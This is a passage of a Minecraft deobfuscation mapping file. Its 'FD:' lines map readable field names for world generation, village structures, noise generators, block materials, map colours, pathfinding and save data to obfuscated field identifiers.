net/minecraft/world/gen/structure/MapGenStructure$2/field_85163_b net/minecraft/world/gen/structure/MapGenStructure$2/field_85163_b +FD: net/minecraft/world/gen/structure/MapGenStructure$2/field_85164_c net/minecraft/world/gen/structure/MapGenStructure$2/field_85164_c +FD: net/minecraft/world/gen/structure/MapGenStructure$3/field_85161_a net/minecraft/world/gen/structure/MapGenStructure$3/field_85161_a +FD: net/minecraft/world/gen/structure/MapGenStructure/structureData net/minecraft/world/gen/structure/MapGenStructure/field_143029_e +FD: net/minecraft/world/gen/structure/MapGenStructure/structureMap net/minecraft/world/gen/structure/MapGenStructure/field_75053_d +FD: net/minecraft/world/gen/structure/MapGenStructureIO/logger net/minecraft/world/gen/structure/MapGenStructureIO/field_151687_a +FD: net/minecraft/world/gen/structure/MapGenStructureIO/startNameToClassMap net/minecraft/world/gen/structure/MapGenStructureIO/field_143040_a +FD: net/minecraft/world/gen/structure/MapGenStructureIO/startClassToNameMap net/minecraft/world/gen/structure/MapGenStructureIO/field_143038_b +FD: net/minecraft/world/gen/structure/MapGenStructureIO/componentNameToClassMap net/minecraft/world/gen/structure/MapGenStructureIO/field_143039_c +FD: net/minecraft/world/gen/structure/MapGenStructureIO/componentClassToNameMap net/minecraft/world/gen/structure/MapGenStructureIO/field_143037_d +FD: net/minecraft/world/gen/structure/MapGenStructureData/tagCompound net/minecraft/world/gen/structure/MapGenStructureData/field_143044_a +FD: net/minecraft/world/gen/structure/StructureComponent$1/field_176100_a net/minecraft/world/gen/structure/StructureComponent$1/field_176100_a +FD: net/minecraft/world/gen/structure/StructureComponent$BlockSelector/blockstate net/minecraft/world/gen/structure/StructureComponent$BlockSelector/field_151562_a +FD: net/minecraft/world/gen/structure/StructureComponent/boundingBox net/minecraft/world/gen/structure/StructureComponent/field_74887_e +FD: net/minecraft/world/gen/structure/StructureComponent/coordBaseMode net/minecraft/world/gen/structure/StructureComponent/field_74885_f +FD: net/minecraft/world/gen/structure/StructureComponent/componentType net/minecraft/world/gen/structure/StructureComponent/field_74886_g +FD: net/minecraft/world/gen/structure/StructureStart/components net/minecraft/world/gen/structure/StructureStart/field_75075_a +FD: net/minecraft/world/gen/structure/StructureStart/boundingBox net/minecraft/world/gen/structure/StructureStart/field_75074_b +FD: net/minecraft/world/gen/structure/StructureStart/chunkPosX net/minecraft/world/gen/structure/StructureStart/field_143024_c +FD: net/minecraft/world/gen/structure/StructureStart/chunkPosZ net/minecraft/world/gen/structure/StructureStart/field_143023_d +FD: net/minecraft/world/gen/structure/MapGenVillage$Start/hasMoreThanTwoComponents net/minecraft/world/gen/structure/MapGenVillage$Start/field_75076_c +FD: net/minecraft/world/gen/structure/MapGenVillage/villageSpawnBiomes net/minecraft/world/gen/structure/MapGenVillage/field_75055_e +FD: net/minecraft/world/gen/structure/MapGenVillage/terrainType net/minecraft/world/gen/structure/MapGenVillage/field_75054_f +FD: net/minecraft/world/gen/structure/MapGenVillage/field_82665_g net/minecraft/world/gen/structure/MapGenVillage/field_82665_g +FD: net/minecraft/world/gen/structure/MapGenVillage/field_82666_h net/minecraft/world/gen/structure/MapGenVillage/field_82666_h +FD: net/minecraft/world/gen/structure/StructureVillagePieces$1/field_176064_a net/minecraft/world/gen/structure/StructureVillagePieces$1/field_176064_a +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/cropTypeA net/minecraft/world/gen/structure/StructureVillagePieces$Field1/field_82679_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/cropTypeB net/minecraft/world/gen/structure/StructureVillagePieces$Field1/field_82680_c +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/cropTypeC net/minecraft/world/gen/structure/StructureVillagePieces$Field1/field_82678_d +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/cropTypeD net/minecraft/world/gen/structure/StructureVillagePieces$Field1/field_82681_h +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/cropTypeA net/minecraft/world/gen/structure/StructureVillagePieces$Field2/field_82675_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/cropTypeB net/minecraft/world/gen/structure/StructureVillagePieces$Field2/field_82676_c +FD: net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/villagePieceClass net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/field_75090_a +FD: net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/villagePieceWeight net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/field_75088_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/villagePiecesSpawned net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/field_75089_c +FD: net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/villagePiecesLimit net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/field_75087_d +FD: net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/isRoofAccessible net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/field_74913_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/isTallHouse net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/field_74909_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/tablePosition net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/field_74910_c +FD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/villageBlacksmithChestContents net/minecraft/world/gen/structure/StructureVillagePieces$House2/field_74918_a +FD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/hasMadeChest net/minecraft/world/gen/structure/StructureVillagePieces$House2/field_74917_c +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/worldChunkMngr net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74929_a +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/inDesert net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74927_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/terrainType net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74928_c +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/structVillagePieceWeight net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74926_d +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/structureVillageWeightedPieceList net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74931_h +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74932_i net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74932_i +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74930_j net/minecraft/world/gen/structure/StructureVillagePieces$Start/field_74930_j +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Path/length net/minecraft/world/gen/structure/StructureVillagePieces$Path/field_74934_a +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/villagersSpawned net/minecraft/world/gen/structure/StructureVillagePieces$Village/field_74896_a +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/isDesertVillage net/minecraft/world/gen/structure/StructureVillagePieces$Village/field_143014_b +FD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/field_143015_k net/minecraft/world/gen/structure/StructureVillagePieces$Village/field_143015_k +FD: net/minecraft/world/gen/NoiseGeneratorImproved/xCoord net/minecraft/world/gen/NoiseGeneratorImproved/field_76315_a +FD: net/minecraft/world/gen/NoiseGeneratorImproved/yCoord net/minecraft/world/gen/NoiseGeneratorImproved/field_76313_b +FD: net/minecraft/world/gen/NoiseGeneratorImproved/zCoord net/minecraft/world/gen/NoiseGeneratorImproved/field_76314_c +FD: net/minecraft/world/gen/NoiseGeneratorImproved/permutations net/minecraft/world/gen/NoiseGeneratorImproved/field_76312_d +FD: net/minecraft/world/gen/NoiseGeneratorImproved/field_152381_e net/minecraft/world/gen/NoiseGeneratorImproved/field_152381_e +FD: net/minecraft/world/gen/NoiseGeneratorImproved/field_152382_f net/minecraft/world/gen/NoiseGeneratorImproved/field_152382_f +FD: net/minecraft/world/gen/NoiseGeneratorImproved/field_152383_g net/minecraft/world/gen/NoiseGeneratorImproved/field_152383_g +FD: net/minecraft/world/gen/NoiseGeneratorImproved/field_152384_h net/minecraft/world/gen/NoiseGeneratorImproved/field_152384_h +FD: net/minecraft/world/gen/NoiseGeneratorImproved/field_152385_i net/minecraft/world/gen/NoiseGeneratorImproved/field_152385_i +FD: net/minecraft/world/gen/NoiseGeneratorOctaves/generatorCollection net/minecraft/world/gen/NoiseGeneratorOctaves/field_76307_a +FD: net/minecraft/world/gen/NoiseGeneratorOctaves/octaves net/minecraft/world/gen/NoiseGeneratorOctaves/field_76306_b +FD: net/minecraft/world/gen/NoiseGeneratorPerlin/field_151603_a net/minecraft/world/gen/NoiseGeneratorPerlin/field_151603_a +FD: net/minecraft/world/gen/NoiseGeneratorPerlin/field_151602_b net/minecraft/world/gen/NoiseGeneratorPerlin/field_151602_b +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151614_a net/minecraft/world/gen/NoiseGeneratorSimplex/field_151614_a +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151612_b net/minecraft/world/gen/NoiseGeneratorSimplex/field_151612_b +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151613_c net/minecraft/world/gen/NoiseGeneratorSimplex/field_151613_c +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151610_d net/minecraft/world/gen/NoiseGeneratorSimplex/field_151610_d +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151611_e net/minecraft/world/gen/NoiseGeneratorSimplex/field_151611_e +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151608_f net/minecraft/world/gen/NoiseGeneratorSimplex/field_151608_f +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151609_g net/minecraft/world/gen/NoiseGeneratorSimplex/field_151609_g +FD: net/minecraft/world/gen/NoiseGeneratorSimplex/field_151615_h net/minecraft/world/gen/NoiseGeneratorSimplex/field_151615_h +FD: net/minecraft/block/material/Material/cactus net/minecraft/block/material/Material/field_151570_A +FD: net/minecraft/block/material/Material/clay net/minecraft/block/material/Material/field_151571_B +FD: net/minecraft/block/material/Material/gourd net/minecraft/block/material/Material/field_151572_C +FD: net/minecraft/block/material/Material/dragonEgg net/minecraft/block/material/Material/field_151566_D +FD: net/minecraft/block/material/Material/portal net/minecraft/block/material/Material/field_151567_E +FD: net/minecraft/block/material/Material/cake net/minecraft/block/material/Material/field_151568_F +FD: net/minecraft/block/material/Material/web net/minecraft/block/material/Material/field_151569_G +FD: net/minecraft/block/material/Material/piston net/minecraft/block/material/Material/field_76233_E +FD: net/minecraft/block/material/Material/barrier net/minecraft/block/material/Material/field_175972_I +FD: net/minecraft/block/material/Material/canBurn net/minecraft/block/material/Material/field_76235_G +FD: net/minecraft/block/material/Material/replaceable net/minecraft/block/material/Material/field_76239_H +FD: net/minecraft/block/material/Material/isTranslucent net/minecraft/block/material/Material/field_76240_I +FD: net/minecraft/block/material/Material/materialMapColor net/minecraft/block/material/Material/field_76234_F +FD: net/minecraft/block/material/Material/requiresNoTool net/minecraft/block/material/Material/field_76241_J +FD: net/minecraft/block/material/Material/mobilityFlag net/minecraft/block/material/Material/field_76242_K +FD: net/minecraft/block/material/Material/isAdventureModeExempt net/minecraft/block/material/Material/field_85159_M +FD: net/minecraft/block/material/Material/air net/minecraft/block/material/Material/field_151579_a +FD: net/minecraft/block/material/Material/grass net/minecraft/block/material/Material/field_151577_b +FD: net/minecraft/block/material/Material/ground net/minecraft/block/material/Material/field_151578_c +FD: net/minecraft/block/material/Material/wood net/minecraft/block/material/Material/field_151575_d +FD: net/minecraft/block/material/Material/rock net/minecraft/block/material/Material/field_151576_e +FD: net/minecraft/block/material/Material/iron net/minecraft/block/material/Material/field_151573_f +FD: net/minecraft/block/material/Material/anvil net/minecraft/block/material/Material/field_151574_g +FD: net/minecraft/block/material/Material/water net/minecraft/block/material/Material/field_151586_h +FD: net/minecraft/block/material/Material/lava net/minecraft/block/material/Material/field_151587_i +FD: net/minecraft/block/material/Material/leaves net/minecraft/block/material/Material/field_151584_j +FD: net/minecraft/block/material/Material/plants net/minecraft/block/material/Material/field_151585_k +FD: net/minecraft/block/material/Material/vine net/minecraft/block/material/Material/field_151582_l +FD: net/minecraft/block/material/Material/sponge net/minecraft/block/material/Material/field_151583_m +FD: net/minecraft/block/material/Material/cloth net/minecraft/block/material/Material/field_151580_n +FD: net/minecraft/block/material/Material/fire net/minecraft/block/material/Material/field_151581_o +FD: net/minecraft/block/material/Material/sand net/minecraft/block/material/Material/field_151595_p +FD: net/minecraft/block/material/Material/circuits net/minecraft/block/material/Material/field_151594_q +FD: net/minecraft/block/material/Material/carpet net/minecraft/block/material/Material/field_151593_r +FD: net/minecraft/block/material/Material/glass net/minecraft/block/material/Material/field_151592_s +FD: net/minecraft/block/material/Material/redstoneLight net/minecraft/block/material/Material/field_151591_t +FD: net/minecraft/block/material/Material/tnt net/minecraft/block/material/Material/field_151590_u +FD: net/minecraft/block/material/Material/coral net/minecraft/block/material/Material/field_151589_v +FD: net/minecraft/block/material/Material/ice net/minecraft/block/material/Material/field_151588_w +FD: net/minecraft/block/material/Material/packedIce net/minecraft/block/material/Material/field_151598_x +FD: net/minecraft/block/material/Material/snow net/minecraft/block/material/Material/field_151597_y +FD: net/minecraft/block/material/Material/craftedSnow net/minecraft/block/material/Material/field_151596_z +FD: net/minecraft/block/material/MapColor/blueColor net/minecraft/block/material/MapColor/field_151649_A +FD: net/minecraft/block/material/MapColor/brownColor net/minecraft/block/material/MapColor/field_151650_B +FD: net/minecraft/block/material/MapColor/greenColor net/minecraft/block/material/MapColor/field_151651_C +FD: net/minecraft/block/material/MapColor/redColor net/minecraft/block/material/MapColor/field_151645_D +FD: net/minecraft/block/material/MapColor/blackColor net/minecraft/block/material/MapColor/field_151646_E +FD: net/minecraft/block/material/MapColor/goldColor net/minecraft/block/material/MapColor/field_151647_F +FD: net/minecraft/block/material/MapColor/diamondColor net/minecraft/block/material/MapColor/field_151648_G +FD: net/minecraft/block/material/MapColor/lapisColor net/minecraft/block/material/MapColor/field_151652_H +FD: net/minecraft/block/material/MapColor/emeraldColor net/minecraft/block/material/MapColor/field_151653_I +FD: net/minecraft/block/material/MapColor/obsidianColor net/minecraft/block/material/MapColor/field_151654_J +FD: net/minecraft/block/material/MapColor/netherrackColor net/minecraft/block/material/MapColor/field_151655_K +FD: net/minecraft/block/material/MapColor/colorValue net/minecraft/block/material/MapColor/field_76291_p +FD: net/minecraft/block/material/MapColor/colorIndex net/minecraft/block/material/MapColor/field_76290_q +FD: net/minecraft/block/material/MapColor/mapColorArray net/minecraft/block/material/MapColor/field_76281_a +FD: net/minecraft/block/material/MapColor/airColor net/minecraft/block/material/MapColor/field_151660_b +FD: net/minecraft/block/material/MapColor/grassColor net/minecraft/block/material/MapColor/field_151661_c +FD: net/minecraft/block/material/MapColor/sandColor net/minecraft/block/material/MapColor/field_151658_d +FD: net/minecraft/block/material/MapColor/clothColor net/minecraft/block/material/MapColor/field_151659_e +FD: net/minecraft/block/material/MapColor/tntColor net/minecraft/block/material/MapColor/field_151656_f +FD: net/minecraft/block/material/MapColor/iceColor net/minecraft/block/material/MapColor/field_151657_g +FD: net/minecraft/block/material/MapColor/ironColor net/minecraft/block/material/MapColor/field_151668_h +FD: net/minecraft/block/material/MapColor/foliageColor net/minecraft/block/material/MapColor/field_151669_i +FD: net/minecraft/block/material/MapColor/snowColor net/minecraft/block/material/MapColor/field_151666_j +FD: net/minecraft/block/material/MapColor/clayColor net/minecraft/block/material/MapColor/field_151667_k +FD: net/minecraft/block/material/MapColor/dirtColor net/minecraft/block/material/MapColor/field_151664_l +FD: net/minecraft/block/material/MapColor/stoneColor net/minecraft/block/material/MapColor/field_151665_m +FD: net/minecraft/block/material/MapColor/waterColor net/minecraft/block/material/MapColor/field_151662_n +FD: net/minecraft/block/material/MapColor/woodColor net/minecraft/block/material/MapColor/field_151663_o +FD: net/minecraft/block/material/MapColor/quartzColor net/minecraft/block/material/MapColor/field_151677_p +FD: net/minecraft/block/material/MapColor/adobeColor net/minecraft/block/material/MapColor/field_151676_q +FD: net/minecraft/block/material/MapColor/magentaColor net/minecraft/block/material/MapColor/field_151675_r +FD: net/minecraft/block/material/MapColor/lightBlueColor net/minecraft/block/material/MapColor/field_151674_s +FD: net/minecraft/block/material/MapColor/yellowColor net/minecraft/block/material/MapColor/field_151673_t +FD: net/minecraft/block/material/MapColor/limeColor net/minecraft/block/material/MapColor/field_151672_u +FD: net/minecraft/block/material/MapColor/pinkColor net/minecraft/block/material/MapColor/field_151671_v +FD: net/minecraft/block/material/MapColor/grayColor net/minecraft/block/material/MapColor/field_151670_w +FD: net/minecraft/block/material/MapColor/silverColor net/minecraft/block/material/MapColor/field_151680_x +FD: net/minecraft/block/material/MapColor/cyanColor net/minecraft/block/material/MapColor/field_151679_y +FD: net/minecraft/block/material/MapColor/purpleColor net/minecraft/block/material/MapColor/field_151678_z +FD: net/minecraft/world/gen/layer/GenLayerEdge$1/field_151642_a net/minecraft/world/gen/layer/GenLayerEdge$1/field_151642_a +FD: net/minecraft/world/gen/layer/GenLayerEdge$Mode/COOL_WARM net/minecraft/world/gen/layer/GenLayerEdge$Mode/COOL_WARM +FD: net/minecraft/world/gen/layer/GenLayerEdge$Mode/HEAT_ICE net/minecraft/world/gen/layer/GenLayerEdge$Mode/HEAT_ICE +FD: net/minecraft/world/gen/layer/GenLayerEdge$Mode/SPECIAL net/minecraft/world/gen/layer/GenLayerEdge$Mode/SPECIAL +FD: net/minecraft/world/gen/layer/GenLayerEdge$Mode/$VALUES net/minecraft/world/gen/layer/GenLayerEdge$Mode/$VALUES +FD: net/minecraft/world/gen/layer/GenLayerEdge/field_151627_c net/minecraft/world/gen/layer/GenLayerEdge/field_151627_c +FD: net/minecraft/world/gen/layer/GenLayerBiome/field_151623_c net/minecraft/world/gen/layer/GenLayerBiome/field_151623_c +FD: net/minecraft/world/gen/layer/GenLayerBiome/field_151621_d net/minecraft/world/gen/layer/GenLayerBiome/field_151621_d +FD: net/minecraft/world/gen/layer/GenLayerBiome/field_151622_e net/minecraft/world/gen/layer/GenLayerBiome/field_151622_e +FD: net/minecraft/world/gen/layer/GenLayerBiome/field_151620_f net/minecraft/world/gen/layer/GenLayerBiome/field_151620_f +FD: net/minecraft/world/gen/layer/GenLayerBiome/field_175973_g net/minecraft/world/gen/layer/GenLayerBiome/field_175973_g +FD: net/minecraft/world/gen/layer/IntCache/intCacheSize net/minecraft/world/gen/layer/IntCache/field_76451_a +FD: net/minecraft/world/gen/layer/IntCache/freeSmallArrays net/minecraft/world/gen/layer/IntCache/field_76449_b +FD: net/minecraft/world/gen/layer/IntCache/inUseSmallArrays net/minecraft/world/gen/layer/IntCache/field_76450_c +FD: net/minecraft/world/gen/layer/IntCache/freeLargeArrays net/minecraft/world/gen/layer/IntCache/field_76447_d +FD: net/minecraft/world/gen/layer/IntCache/inUseLargeArrays net/minecraft/world/gen/layer/IntCache/field_76448_e +FD: net/minecraft/world/gen/layer/GenLayer$1/field_176191_a net/minecraft/world/gen/layer/GenLayer$1/field_176191_a +FD: net/minecraft/world/gen/layer/GenLayer$2/field_176192_a net/minecraft/world/gen/layer/GenLayer$2/field_176192_a +FD: net/minecraft/world/gen/layer/GenLayer/parent net/minecraft/world/gen/layer/GenLayer/field_75909_a +FD: net/minecraft/world/gen/layer/GenLayer/baseSeed net/minecraft/world/gen/layer/GenLayer/field_75906_d +FD: net/minecraft/world/gen/layer/GenLayer/worldGenSeed net/minecraft/world/gen/layer/GenLayer/field_75907_b +FD: net/minecraft/world/gen/layer/GenLayer/chunkSeed net/minecraft/world/gen/layer/GenLayer/field_75908_c +FD: net/minecraft/world/gen/layer/GenLayerHills/logger net/minecraft/world/gen/layer/GenLayerHills/field_151629_c +FD: net/minecraft/world/gen/layer/GenLayerHills/field_151628_d net/minecraft/world/gen/layer/GenLayerHills/field_151628_d +FD: net/minecraft/world/gen/layer/GenLayerRiverMix/biomePatternGeneratorChain net/minecraft/world/gen/layer/GenLayerRiverMix/field_75910_b +FD: net/minecraft/world/gen/layer/GenLayerRiverMix/riverPatternGeneratorChain net/minecraft/world/gen/layer/GenLayerRiverMix/field_75911_c +FD: net/minecraft/pathfinding/Path/pathPoints net/minecraft/pathfinding/Path/field_75852_a +FD: net/minecraft/pathfinding/Path/count net/minecraft/pathfinding/Path/field_75851_b +FD: net/minecraft/pathfinding/PathPoint/xCoord net/minecraft/pathfinding/PathPoint/field_75839_a +FD: net/minecraft/pathfinding/PathPoint/yCoord net/minecraft/pathfinding/PathPoint/field_75837_b +FD: net/minecraft/pathfinding/PathPoint/zCoord net/minecraft/pathfinding/PathPoint/field_75838_c +FD: net/minecraft/pathfinding/PathPoint/index net/minecraft/pathfinding/PathPoint/field_75835_d +FD: net/minecraft/pathfinding/PathPoint/totalPathDistance net/minecraft/pathfinding/PathPoint/field_75836_e +FD: net/minecraft/pathfinding/PathPoint/distanceToNext net/minecraft/pathfinding/PathPoint/field_75833_f +FD: net/minecraft/pathfinding/PathPoint/distanceToTarget net/minecraft/pathfinding/PathPoint/field_75834_g +FD: net/minecraft/pathfinding/PathPoint/previous net/minecraft/pathfinding/PathPoint/field_75841_h +FD: net/minecraft/pathfinding/PathPoint/visited net/minecraft/pathfinding/PathPoint/field_75842_i +FD: net/minecraft/pathfinding/PathPoint/hash net/minecraft/pathfinding/PathPoint/field_75840_j +FD: net/minecraft/world/pathfinder/NodeProcessor/blockaccess net/minecraft/world/pathfinder/NodeProcessor/field_176169_a +FD: net/minecraft/world/pathfinder/NodeProcessor/pointMap net/minecraft/world/pathfinder/NodeProcessor/field_176167_b +FD: net/minecraft/world/pathfinder/NodeProcessor/entitySizeX net/minecraft/world/pathfinder/NodeProcessor/field_176168_c +FD: net/minecraft/world/pathfinder/NodeProcessor/entitySizeY net/minecraft/world/pathfinder/NodeProcessor/field_176165_d +FD: net/minecraft/world/pathfinder/NodeProcessor/entitySizeZ net/minecraft/world/pathfinder/NodeProcessor/field_176166_e +FD: net/minecraft/pathfinding/PathEntity/points net/minecraft/pathfinding/PathEntity/field_75884_a +FD: net/minecraft/pathfinding/PathEntity/currentPathIndex net/minecraft/pathfinding/PathEntity/field_75882_b +FD: net/minecraft/pathfinding/PathEntity/pathLength net/minecraft/pathfinding/PathEntity/field_75883_c +FD: net/minecraft/pathfinding/PathFinder/path net/minecraft/pathfinding/PathFinder/field_75866_b +FD: net/minecraft/pathfinding/PathFinder/pathOptions net/minecraft/pathfinding/PathFinder/field_75864_d +FD: net/minecraft/pathfinding/PathFinder/nodeProcessor net/minecraft/pathfinding/PathFinder/field_176190_c +FD: net/minecraft/world/pathfinder/WalkNodeProcessor/canEnterDoors net/minecraft/world/pathfinder/WalkNodeProcessor/field_176180_f +FD: net/minecraft/world/pathfinder/WalkNodeProcessor/canBreakDoors net/minecraft/world/pathfinder/WalkNodeProcessor/field_176181_g +FD: net/minecraft/world/pathfinder/WalkNodeProcessor/avoidsWater net/minecraft/world/pathfinder/WalkNodeProcessor/field_176183_h +FD: net/minecraft/world/pathfinder/WalkNodeProcessor/canSwim net/minecraft/world/pathfinder/WalkNodeProcessor/field_176184_i +FD: net/minecraft/world/pathfinder/WalkNodeProcessor/shouldAvoidWater net/minecraft/world/pathfinder/WalkNodeProcessor/field_176182_j +FD: net/minecraft/world/WorldSavedData/mapName net/minecraft/world/WorldSavedData/field_76190_i +FD: net/minecraft/world/WorldSavedData/dirty net/minecraft/world/WorldSavedData/field_76189_a +FD: net/minecraft/util/Vec4b/field_176117_a net/minecraft/util/Vec4b/field_176117_a +FD: net/minecraft/util/Vec4b/field_176115_b net/minecraft/util/Vec4b/field_176115_b +FD: net/minecraft/util/Vec4b/field_176116_c net/minecraft/util/Vec4b/field_176116_c +FD: net/minecraft/util/Vec4b/field_176114_d net/minecraft/util/Vec4b/field_176114_d +FD: net/minecraft/world/storage/MapData$MapInfo/entityplayerObj net/minecraft/world/storage/MapData$MapInfo/field_76211_a +FD: net/minecraft/world/storage/MapData$MapInfo/field_82569_d net/minecraft/world/storage/MapData$MapInfo/field_82569_d +FD: net/minecraft/world/storage/MapData$MapInfo/field_176107_c net/minecraft/world/storage/MapData$MapInfo/field_176107_c +FD: net/minecraft/world/storage/MapData$MapInfo/field_176105_d net/minecraft/world/storage/MapData$MapInfo/field_176105_d +FD: net/minecraft/world/storage/MapData$MapInfo/minX net/minecraft/world/storage/MapData$MapInfo/field_176106_e +FD: net/minecraft/world/storage/MapData$MapInfo/minY net/minecraft/world/storage/MapData$MapInfo/field_176103_f +FD: net/minecraft/world/storage/MapData$MapInfo/maxX net/minecraft/world/storage/MapData$MapInfo/field_176104_g +FD: net/minecraft/world/storage/MapData$MapInfo/maxY net/minecraft/world/storage/MapData$MapInfo/field_176108_h +FD: net/minecraft/world/storage/MapData$MapInfo/field_176109_i net/minecraft/world/storage/MapData$MapInfo/field_176109_i +FD: net/minecraft/world/storage/MapData/xCenter net/minecraft/world/storage/MapData/field_76201_a +FD: net/minecraft/world/storage/MapData/zCenter net/minecraft/world/storage/MapData/field_76199_b +FD: net/minecraft/world/storage/MapData/dimension net/minecraft/world/storage/MapData/field_76200_c +FD: net/minecraft/world/storage/MapData/scale net/minecraft/world/storage/MapData/field_76197_d +FD: net/minecraft/world/storage/MapData/colors net/minecraft/world/storage/MapData/field_76198_e +FD: net/minecraft/world/storage/MapData/playersArrayList net/minecraft/world/storage/MapData/field_76196_g +FD: net/minecraft/world/storage/MapData/mapDecorations net/minecraft/world/storage/MapData/field_76203_h +FD: net/minecraft/world/storage/MapData/playersHashMap net/minecraft/world/storage/MapData/field_76202_j +FD: net/minecraft/world/chunk/storage/AnvilSaveConverter$1/field_76172_a net/minecraft/world/chunk/storage/AnvilSaveConverter$1/field_76172_a +FD: net/minecraft/world/chunk/storage/AnvilSaveConverter/logger net/minecraft/world/chunk/storage/AnvilSaveConverter/field_151480_b +FD: net/minecraft/world/storage/DerivedWorldInfo/theWorldInfo net/minecraft/world/storage/DerivedWorldInfo/field_76115_a +FD: net/minecraft/world/storage/SaveHandler/logger net/minecraft/world/storage/SaveHandler/field_151478_a +FD: net/minecraft/world/storage/SaveHandler/worldDirectory net/minecraft/world/storage/SaveHandler/field_75770_b +FD: net/minecraft/world/storage/SaveHandler/playersDirectory net/minecraft/world/storage/SaveHandler/field_75771_c +FD: net/minecraft/world/storage/SaveHandler/mapDataDir net/minecraft/world/storage/SaveHandler/field_75768_d +FD: net/minecraft/world/storage/SaveHandler/initializationTime net/minecraft/world/storage/SaveHandler/field_75769_e +FD: net/minecraft/world/storage/SaveHandler/saveDirectoryName net/minecraft/world/storage/SaveHandler/field_75767_f +FD: net/minecraft/world/storage/SaveFormatOld/savesDirectory net/minecraft/world/storage/SaveFormatOld/field_75808_a +FD: net/minecraft/world/storage/SaveFormatOld/logger net/minecraft/world/storage/SaveFormatOld/field_151479_b +FD: net/minecraft/world/storage/WorldInfo$1/field_85143_a net/minecraft/world/storage/WorldInfo$1/field_85143_a +FD: net/minecraft/world/storage/WorldInfo$2/field_85139_a net/minecraft/world/storage/WorldInfo$2/field_85139_a +FD: net/minecraft/world/storage/WorldInfo$3/field_85141_a net/minecraft/world/storage/WorldInfo$3/field_85141_a +FD: net/minecraft/world/storage/WorldInfo$4/field_85135_a net/minecraft/world/storage/WorldInfo$4/field_85135_a +FD: net/minecraft/world/storage/WorldInfo$5/field_85137_a net/minecraft/world/storage/WorldInfo$5/field_85137_a +FD: net/minecraft/world/storage/WorldInfo$6/field_85115_a net/minecraft/world/storage/WorldInfo$6/field_85115_a +FD: net/minecraft/world/storage/WorldInfo$7/field_85113_a net/minecraft/world/storage/WorldInfo$7/field_85113_a +FD: net/minecraft/world/storage/WorldInfo$8/field_85111_a net/minecraft/world/storage/WorldInfo$8/field_85111_a +FD: net/minecraft/world/storage/WorldInfo$9/field_85109_a net/minecraft/world/storage/WorldInfo$9/field_85109_a +FD: net/minecraft/world/storage/WorldInfo/difficultyLocked net/minecraft/world/storage/WorldInfo/field_176150_A +FD: net/minecraft/world/storage/WorldInfo/borderCenterX net/minecraft/world/storage/WorldInfo/field_176151_B +FD: net/minecraft/world/storage/WorldInfo/borderCenterZ net/minecraft/world/storage/WorldInfo/field_176152_C +FD: net/minecraft/world/storage/WorldInfo/borderSize net/minecraft/world/storage/WorldInfo/field_176146_D +FD: net/minecraft/world/storage/WorldInfo/borderSizeLerpTime net/minecraft/world/storage/WorldInfo/field_176147_E +FD: net/minecraft/world/storage/WorldInfo/borderSizeLerpTarget net/minecraft/world/storage/WorldInfo/field_176148_F +FD: net/minecraft/world/storage/WorldInfo/borderSafeZone net/minecraft/world/storage/WorldInfo/field_176149_G +FD: net/minecraft/world/storage/WorldInfo/borderDamagePerBlock net/minecraft/world/storage/WorldInfo/field_176153_H +FD: net/minecraft/world/storage/WorldInfo/borderWarningDistance net/minecraft/world/storage/WorldInfo/field_176154_I +FD: net/minecraft/world/storage/WorldInfo/borderWarningTime net/minecraft/world/storage/WorldInfo/field_176155_J +FD: net/minecraft/world/storage/WorldInfo/theGameRules net/minecraft/world/storage/WorldInfo/field_82577_x +FD: net/minecraft/world/storage/WorldInfo/DEFAULT_DIFFICULTY net/minecraft/world/storage/WorldInfo/field_176156_a +FD: net/minecraft/world/storage/WorldInfo/randomSeed net/minecraft/world/storage/WorldInfo/field_76100_a +FD: net/minecraft/world/storage/WorldInfo/terrainType net/minecraft/world/storage/WorldInfo/field_76098_b +FD: net/minecraft/world/storage/WorldInfo/generatorOptions net/minecraft/world/storage/WorldInfo/field_82576_c +FD: net/minecraft/world/storage/WorldInfo/spawnX net/minecraft/world/storage/WorldInfo/field_76099_c +FD: 